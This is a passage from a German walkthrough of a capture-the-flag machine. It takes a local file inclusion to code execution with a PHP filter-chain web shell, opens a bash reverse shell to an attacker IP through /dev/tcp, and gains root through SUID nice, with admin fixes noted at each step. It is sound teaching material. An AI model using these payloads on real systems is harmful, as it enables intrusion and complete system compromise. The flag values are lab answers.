**Empfehlung (Pentester):** Versuche, weitere Dateien zu lesen (z.B. `/etc/shadow`, falls Berechtigungen es zulassen, was unwahrscheinlich ist; Anwendungscode; Konfigurationsdateien; Logdateien). Fokussiere dich auf die Eskalation zu RCE. Notiere die Benutzer `ppp` und `fox` als potenzielle Ziele.
**Empfehlung (Admin):** Dringende Behebung der LFI. Überprüfung der Benutzerkonten und ihrer Shell-Zugriffe.
Verwendung von `curl` und `grep`, um schnell die Benutzer mit Bash-Shell aus der `/etc/passwd`-Datei zu extrahieren, die über die LFI gelesen wird.
root:x:0:0:root:/root:/bin/bash
ppp:x:1000:1000:ppp,,,:/home/ppp:/bin/bash
**Analyse:** `curl -s` holt den Inhalt der URL (die Ausgabe der LFI von `/etc/passwd`) ohne Fortschrittsanzeige. Das Ergebnis wird an `grep bash` weitergeleitet, das nur Zeilen ausgibt, die "bash" enthalten. Dies filtert effektiv die Benutzer heraus, die `/bin/bash` als Login-Shell konfiguriert haben.
**Ergebnis:** Es werden `root` und `ppp` identifiziert.
**Bewertung:** Eine effiziente Methode, um relevante Benutzer aus der `/etc/passwd`-Datei zu extrahieren. Bestätigt, dass `ppp` ein regulärer Benutzer mit Bash-Zugriff ist.
**Empfehlung (Pentester):** Der Benutzer `ppp` ist ein primäres Ziel für Brute-Force-Angriffe (SSH, Web-Logins) oder falls wir Anmeldedaten finden.
**Empfehlung (Admin):** Überprüfe die Notwendigkeit des `ppp`-Benutzers und seiner Bash-Shell. Verwende starke Passwörter und erwäge Key-basiertes SSH-Login.
Da wir eine LFI-Schwachstelle in einer `include()`-Funktion haben, können wir versuchen, diese mittels PHP-Filtern zu Remote Code Execution (RCE) zu eskalieren. Wir verwenden ein Tool (`php_filter_chain_generator.py`), um eine geeignete Filterkette zu generieren, die den PHP-Code `` ausführt. Dieser Code nimmt einen Befehl über den GET-Parameter `cmd` entgegen und führt ihn auf dem Server aus.
[+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16...|convert.base64-decode/resource=php://temp
**Analyse:** Das Skript `php_filter_chain_generator.py` wird verwendet, um eine komplexe PHP-Filterkette zu erstellen.
* `--chain ''`: Gibt den gewünschten PHP-Code an, der durch die Filterkette erzeugt und ausgeführt werden soll. Der Code `` ist ein einfacher Web-Shell-Payload, der den Wert des `cmd`-GET-Parameters als Systembefehl ausführt. Die HTML-Tags `<` und `>` wurden hier korrekt maskiert (`<`, `>`) für die Anzeige im Bericht, aber im tatsächlichen Befehl werden die originalen Zeichen verwendet.
* **Ausgabe:** Das Skript generiert die Filterkette: `php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16...|convert.base64-decode/resource=php://temp`. Diese Kette nutzt verschiedene Konvertierungsfilter (`convert.iconv.*`, `convert.base64-encode/decode`), um den Ziel-Payload (`
**Bewertung:** Dies ist eine fortgeschrittene Technik zur Ausnutzung von LFI-Schwachstellen in `include()`-Funktionen. Die generierte Filterkette ist der Schlüssel zur Erlangung von RCE.
**Empfehlung (Pentester):** Verwende die generierte Filterkette im `out`-Parameter der `sendcommand.php`-URL. Hänge einen `&cmd=`-Parameter mit einem Testbefehl (z.B. `id`) an, um die RCE zu bestätigen.
**Empfehlung (Admin):** Die einzige verlässliche Maßnahme ist die Behebung der LFI-Schwachstelle. Eingabefilter allein sind oft unzureichend gegen solche Filterketten-Angriffe.
Wir testen die generierte PHP-Filterkette, indem wir sie in die URL einfügen und den Befehl `id` über den `cmd`-Parameter übergeben.
http://192.168.2.107/production/sendcommand.php?out=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7....|convert.base64-decode/resource=php://temp&cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Die URL wird im Browser aufgerufen oder mit `curl` abgefragt.
* `out=php://filter/.../resource=php://temp`: Die generierte Filterkette wird als Wert für den `out`-Parameter übergeben.
* `&cmd=id`: Der Befehl `id` wird im `cmd`-Parameter übergeben.
**Ergebnis:** Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` erscheint direkt im Browserfenster oder in der `curl`-Ausgabe. Dies ist die Ausgabe des `id`-Befehls, ausgeführt auf dem Server.
**Bewertung:** Fantastisch! Dies bestätigt, dass die LFI erfolgreich zu Remote Code Execution (RCE) eskaliert wurde. Wir können nun beliebige Befehle als der Benutzer `www-data` auf dem Zielsystem ausführen.
**Empfehlung (Pentester):** Nutze die RCE, um eine stabilere Verbindung zu erhalten, z.B. eine Reverse Shell. Sammle weitere Informationen über das System (`uname -a`, `ls -la /home`, `cat /etc/crontab` etc.). Suche nach Wegen zur Privilegieneskalation.
**Empfehlung (Admin):** Kritische Schwachstelle! Sofortige Behebung der LFI ist zwingend erforderlich. System auf Kompromittierung untersuchen.
Wir richten einen Netcat-Listener auf unserem Angreifer-System (Port 9001) ein, um die eingehende Reverse Shell aufzufangen.
listening on [any] 9001 ...
**Analyse:** `nc -lvnp 9001` startet einen Listener:
* `-l`: Listen-Modus.
* `-v`: Verbose-Modus (zeigt mehr Informationen).
* `-n`: Keine DNS-Auflösung.
* `-p 9001`: Lauscht auf Port 9001.
**Bewertung:** Notwendiger Schritt, um die Reverse Shell zu empfangen. Der Listener wartet nun auf eine eingehende Verbindung auf Port 9001.
**Empfehlung (Pentester):** Lasse den Listener laufen und führe im nächsten Schritt den Reverse-Shell-Befehl über die RCE-Schwachstelle aus.
**Empfehlung (Admin):** Ausgehende Verbindungen vom Webserver sollten durch eine Firewall streng kontrolliert werden, um das Etablieren von Reverse Shells zu erschweren.
Wir senden den Befehl zum Aufbau einer Bash-Reverse-Shell über die RCE-Schwachstelle an unseren Listener. Der Befehl muss URL-kodiert werden, um korrekt in der URL übertragen zu werden.
192.168.2.107/production/sendcommand.php?out=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode.....|convert.base64-decode/resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
**Analyse:** Die URL enthält wieder die PHP-Filterkette im `out`-Parameter. Der `cmd`-Parameter enthält diesmal den URL-kodierten Bash-Reverse-Shell-Payload:
* Original-Payload: `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1'`
* URL-kodiert: `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27`
* Dieser Befehl startet eine interaktive Bash-Shell (`bash -i`) und leitet deren Standard-Eingabe, -Ausgabe und -Fehlerausgabe (`>& ... 0>&1`) an eine TCP-Verbindung zu unserer Angreifer-IP (`192.168.2.199`) auf Port `9001` um.
**Bewertung:** Dies ist der entscheidende Schritt, um eine interaktive Shell auf dem Zielsystem zu erhalten. Durch den Aufruf dieser URL wird der Befehl auf dem Server ausgeführt und die Verbindung zu unserem Listener hergestellt.
**Empfehlung (Pentester):** Rufe diese URL auf (z.B. mit `curl` oder im Browser) und beobachte den Netcat-Listener.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen bezüglich LFI-Behebung und Firewalling. Intrusion Detection Systems (IDS) könnten solche Reverse-Shell-Payloads erkennen.
Die Verbindung wird erfolgreich von unserem Netcat-Listener empfangen. Wir haben nun eine interaktive Shell als `www-data`.
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.107] 35888
bash: cannot set terminal process group (550): Inappropriate ioctl for device
bash: no job control in this shell
www-data@double:/var/www/html/production$
**Analyse:** Der Netcat-Listener zeigt "connect to [192.168.2.199] from (UNKNWN) [192.168.2.107] 35888", was die erfolgreiche eingehende Verbindung von der Ziel-IP bestätigt. Die Meldungen `bash: cannot set terminal process group` und `bash: no job control in this shell` sind typisch für einfache Reverse Shells, die kein vollständiges Terminal (TTY) haben. Wir erhalten jedoch einen Prompt (`www-data@double:/var/www/html/production$`), der anzeigt, dass wir Befehle als Benutzer `www-data` im Verzeichnis `/var/www/html/production` ausführen können.
**Bewertung:** Initial Access erfolgreich! Wir haben eine Shell auf dem System erlangt, wenn auch mit den eingeschränkten Rechten des Webserver-Benutzers `www-data`.
**Empfehlung (Pentester):** Stabilisiere die Shell (z.B. mit Python pty oder `script /dev/null`), führe grundlegende Enumeration durch (`id`, `pwd`, `uname -a`, `ls -la`, `ps aux`, `netstat -tulnp`), suche nach Konfigurationsdateien, Passwörtern im Klartext, Skripten oder Anwendungsdaten, die zur Privilegieneskalation genutzt werden können.
**Empfehlung (Admin):** Das System ist kompromittiert. Isoliere das System, analysiere Logs, identifiziere und behebe die Schwachstelle (LFI), ändere Passwörter und suche nach Backdoors oder weiteren Kompromittierungsspuren.
Wir stabilisieren die Shell mit `stty` und überprüfen unsere aktuelle Benutzeridentität.
www-data@double:/var/www/html/production$ stty columns 94 rows 48
www-data@double:/var/www/html/production$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:**
* `stty columns 94 rows 48`: Passt die Zeilen- und Spaltenanzahl des Terminals an unser lokales Terminal an. Dies verbessert die Darstellung und Nutzbarkeit der Reverse Shell, behebt aber nicht das Fehlen eines echten TTY.
* `id`: Bestätigt, dass wir als Benutzer `www-data` mit der UID 33 und GID 33 agieren.
**Bewertung:** Einfache Schritte zur Verbesserung der Shell-Interaktion und zur Bestätigung unseres aktuellen Kontexts.
**Empfehlung (Pentester):** Für eine vollwertige TTY-Shell kann oft `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c /bin/bash` verwendet werden, falls Python oder `script` verfügbar sind. Führe weitere Enumeration durch.
Wir suchen nach Dateien mit gesetztem SUID-Bit, da diese oft zur Privilegieneskalation missbraucht werden können. Das SUID-Bit erlaubt es einem Benutzer, eine Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen.
www-data@double:/var/www/html/production$ find / -type f -perm -4000 -ls 2>/dev/null
262195 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
266144 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
282128 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
262197 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
262193 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
265663 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
278280 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
266146 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
265810 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
263809 40 -rwsr-sr-x 1 root root 39552 Feb 28 2019 /usr/bin/nice
262192 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
263871 44 -rwsr-sr-x 1 root root 43776 Feb 28 2019 /usr/sbin/chroot
262201 56 -rwsr-sr-x 1 root root 55152 Jul 27 2018 /usr/sbin/chpasswd
278283 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
399627 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
276895 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
273543 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). `-ls` gibt detaillierte Informationen aus, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leseberechtigungen für Verzeichnisse).
**Ergebnis:** Eine Liste von SUID-Binärdateien wird angezeigt. Die meisten davon sind Standard-Linux-Tools, die SUID-Rechte benötigen, um ordnungsgemäß zu funktionieren (z.B. `passwd`, `mount`, `su`, `pkexec`). Jedoch sticht `/usr/bin/nice` heraus. Normalerweise benötigt `nice` keine SUID-Rechte. Wenn es SUID `root` ist, könnte es missbraucht werden. `/usr/sbin/chroot` ist ebenfalls SUID `root` und könnte unter bestimmten Umständen für einen Ausbruch genutzt werden. `/usr/bin/pkexec` ist ebenfalls ein bekannter Vektor (PwnKit, CVE-2021-4034), falls das System nicht gepatcht ist.
**Bewertung:** `/usr/bin/nice` mit SUID-Root-Rechten ist höchst ungewöhnlich und ein vielversprechender Kandidat für Privilegieneskalation.
**Empfehlung (Pentester):** Untersuche `/usr/bin/nice`. Prüfe auf GTFOBins oder andere bekannte Exploits für SUID `nice`. Teste, ob `nice` Shell-Befehle mit Root-Rechten ausführen kann (z.B. `nice /bin/bash -p`). Prüfe auch die Version von `pkexec` auf Anfälligkeit für PwnKit.
**Empfehlung (Admin):** Überprüfe, warum `/usr/bin/nice` SUID-Rechte hat. Wenn dies nicht absolut notwendig ist (was unwahrscheinlich ist), entferne das SUID-Bit (`chmod u-s /usr/bin/nice`). Stelle sicher, dass das System gegen bekannte Schwachstellen wie PwnKit gepatcht ist.
Wir untersuchen das Home-Verzeichnis des Benutzers `fox`, den wir in `/etc/passwd` gefunden haben.
www-data@double:/tmp$ cd /home/fox/
www-data@double:/home/fox$ ls -la
total 24
drwxr-xr-x 2 fox fox 4096 Dec 3 2020 .
drwxr-xr-x 4 root root 4096 Dec 3 2020 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 fox fox 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 fox fox 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 fox fox 807 Apr 18 2019 .profile
-rw-r--r-- 1 fox fox 33 Dec 3 2020 local.txt
**Analyse:** Wir wechseln in das Verzeichnis `/home/fox` und listen den Inhalt detailliert auf (`ls -la`).
* `.bash_history -> /dev/null`: Die Bash-History wird ins Nichts umgeleitet, was bedeutet, dass keine Befehlshistorie gespeichert wird. Das ist oft ein Zeichen dafür, dass jemand seine Spuren verwischen will oder dass es sich um ein eingeschränktes Konto handelt.
* `local.txt`: Eine Datei namens `local.txt` existiert und gehört dem Benutzer `fox`. Sie hat Leseberechtigungen für alle. Dies ist wahrscheinlich die User-Flag.
**Bewertung:** Der wichtigste Fund hier ist `local.txt`. Das Fehlen der Bash-History ist ein kleiner Hinweis, aber nicht direkt ausnutzbar.
**Empfehlung (Pentester):** Lese den Inhalt von `local.txt`.
**Empfehlung (Admin):** Die User-Flag sollte für normale Benutzer nicht lesbar sein. Überprüfe die Dateiberechtigungen.
Wir untersuchen das Web-Root-Verzeichnis `/var/www/html`.
www-data@double:/var/www/html/production$ cd ..
www-data@double:/var/www/html$ ls -la
total 20
drwxr-xr-x 4 root root 4096 Nov 2 2020 .
drwxr-xr-x 3 root root 4096 Nov 2 2020 ..
-rw-r--r-- 1 root root 184 Nov 2 2020 index.php
drwxr-xr-x 2 www-data www-data 4096 ct 4 21:22 production
drwxr-xr-x 2 fox nogroup 4096 Nov 2 2020 wasedrcftgvybhujnmbvtgcr
**Analyse:** Im Haupt-Webverzeichnis `/var/www/html` finden wir:
* `index.php`: Die Startseite, die wir bereits gesehen haben.
* `production`: Das Verzeichnis mit der anfälligen `sendcommand.php`, gehört `www-data`.
* `wasedrcftgvybhujnmbvtgcr`: Ein Verzeichnis mit einem sehr ungewöhnlichen, zufällig erscheinenden Namen. Es gehört dem Benutzer `fox` und der Gruppe `nogroup`. Dies ist verdächtig.
**Bewertung:** Das Verzeichnis mit dem langen Zufallsnamen ist höchstwahrscheinlich relevant. Es könnte Konfigurationsdateien, Skripte oder andere Hinweise enthalten, die `fox` dort platziert hat.
**Empfehlung (Pentester):** Untersuche den Inhalt des Verzeichnisses `wasedrcftgvybhujnmbvtgcr`.
**Empfehlung (Admin):** Überprüfe den Zweck und Inhalt dieses Verzeichnisses. Wenn es nicht benötigt wird, entferne es. Stelle sicher, dass Dateiberechtigungen im Web-Root korrekt gesetzt sind.
Überprüfung der aktiven Netzwerkverbindungen und lauschenden Ports von innerhalb des Systems mit `ss`.
www-data@double:/var/www/html$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:631 0.0.0.0:*
LISTEN 0 100 0.0.0.0:25 0.0.0.0:*
**Analyse:** `ss -altpn` zeigt lauschende (`LISTEN`) TCP (`-t`) Ports an, zusammen mit den Prozessinformationen (`-p`), ohne Namen aufzulösen (`-n`), und listet alle (`-a`) Sockets auf.
* **Ergebnis:** Bestätigt die von Nmap gefundenen offenen Ports: 8080 (HTTP), 80 (HTTP), 22 (SSH), 25 (SMTP). Zusätzlich wird Port 631 (CUPS - Druckdienst) angezeigt, der nur auf dem Loopback-Interface (127.0.0.1) lauscht und daher von außen nicht erreichbar ist.
**Bewertung:** Keine neuen externen Angriffspunkte gefunden. Bestätigt die Ergebnisse des externen Scans. Der CUPS-Dienst auf localhost ist normalerweise kein direkter Angriffsvektor von außen.
**Empfehlung (Pentester):** Konzentriere dich weiterhin auf die bekannten Dienste und die bereits identifizierten Schwachstellen/Hinweise (LFI, SUID nice, verdächtiges Verzeichnis).
**Empfehlung (Admin):** Deaktiviere den CUPS-Dienst (`cupsd`), wenn er nicht benötigt wird, um die lokale Angriffsfläche zu minimieren.
**Ziel:** Nachweis, dass die SUID-Berechtigung der `/usr/bin/nice`-Binärdatei ausgenutzt werden kann, um Root-Privilegien zu erlangen.
**Schwachstelle:** `/usr/bin/nice` hat fälschlicherweise das SUID-Bit gesetzt, wodurch es mit Root-Rechten ausgeführt wird, unabhängig davon, welcher Benutzer es startet.
**Ausnutzung:** Durch Ausführen von `/bin/bash` mit der Option `-p` (preserve privileges) über `nice` wird die effektive Benutzer-ID (eUID) nicht auf die des aufrufenden Benutzers (`www-data`) zurückgesetzt. Stattdessen behält der Bash-Prozess die eUID von `root`, die er von `nice` geerbt hat.
**Voraussetzungen:** Shell-Zugriff als `www-data`, `/usr/bin/nice` ist SUID root, `/bin/bash` ist verfügbar.
**Schritt-für-Schritt:**
www-data@double:/tmp$ /usr/bin/nice /bin/bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
**Analyse:**
* `/usr/bin/nice /bin/bash -p`: Wir führen `/bin/bash -p` mittels des SUID-Programms `nice` aus.
* `bash-5.0#`: Der Prompt ändert sich zu `#`, was typisch für eine Root-Shell ist.
* `id`: Die Ausgabe des `id`-Befehls bestätigt den Erfolg. Die `uid` (User ID) ist immer noch `33 (www-data)`, aber die `euid` (Effective User ID) ist `0 (root)`. Das bedeutet, der Prozess läuft mit Root-Rechten. Die `egid` (Effective Group ID) ist ebenfalls `0 (root)`, und wir sind Mitglied der `root`-Gruppe.
**Erwartetes Ergebnis:** Erlangung einer Shell mit Root-Rechten.
**Beweismittel:** Die Ausgabe des `id`-Befehls (`euid=0(root)`) und der `#`-Prompt.
**Risikobewertung:** Hoch. Diese Schwachstelle erlaubt jedem Benutzer, der Befehle ausführen kann (wie `www-data`), uneingeschränkten Root-Zugriff auf das System zu erlangen, was zur vollständigen Kompromittierung führt.
**Empfehlungen:**
* **Admin (Behebung):** Entferne sofort das SUID-Bit von `/usr/bin/nice`: `sudo chmod u-s /usr/bin/nice`. Überprüfe regelmäßig alle SUID/SGID-Binärdateien auf Notwendigkeit und Anomalien.
* **Pentester:** Dokumentiere diesen einfachen, aber effektiven Privesc-Vektor.
Fantastisch! Der Root-Zugriff mittels `/usr/bin/nice` war erfolgreich. Wir haben nun die höchsten Privilegien auf dem System erlangt und unser Ziel erreicht. Wir navigieren durch das System als Root, um die Flags zu finden.
bash-5.0# pwd
/tmp
bash-5.0# cd ~
bash-5.0# pwd
/var/www
bash-5.0# cd /root
bash-5.0# ls
proof.txt
bash-5.0# cat proof.txt
c5315567687fe0e182bb87564ab54a7a
bash-5.0#
**Analyse:** Mit unserer Root-Shell (erkennbar am `euid=0` und `#`-Prompt) wechseln wir ins Root-Home-Verzeichnis (`cd /root`). Dort finden wir die Datei `proof.txt` und lesen ihren Inhalt aus. Dies ist die Root-Flag.
**Bewertung:** Erfolgreiches Auslesen der Root-Flag.
bash-5.0# cd /home/fox/
bash-5.0# ls
local.txt
bash-5.0# cat local.txt
beef4039b5e78a23e80aa6560b93f429
bash-5.0#
**Analyse:** Wir wechseln als Root in das Home-Verzeichnis von `fox` (`/home/fox`), wo wir bereits als `www-data` die Datei `local.txt` gesehen haben. Wir lesen sie nun aus. Dies ist die User-Flag.
**Bewertung:** Erfolgreiches Auslesen der User-Flag. Die Privilege Escalation war erfolgreich und beide Flags wurden gefunden.
Privilege Escalation erfolgreich.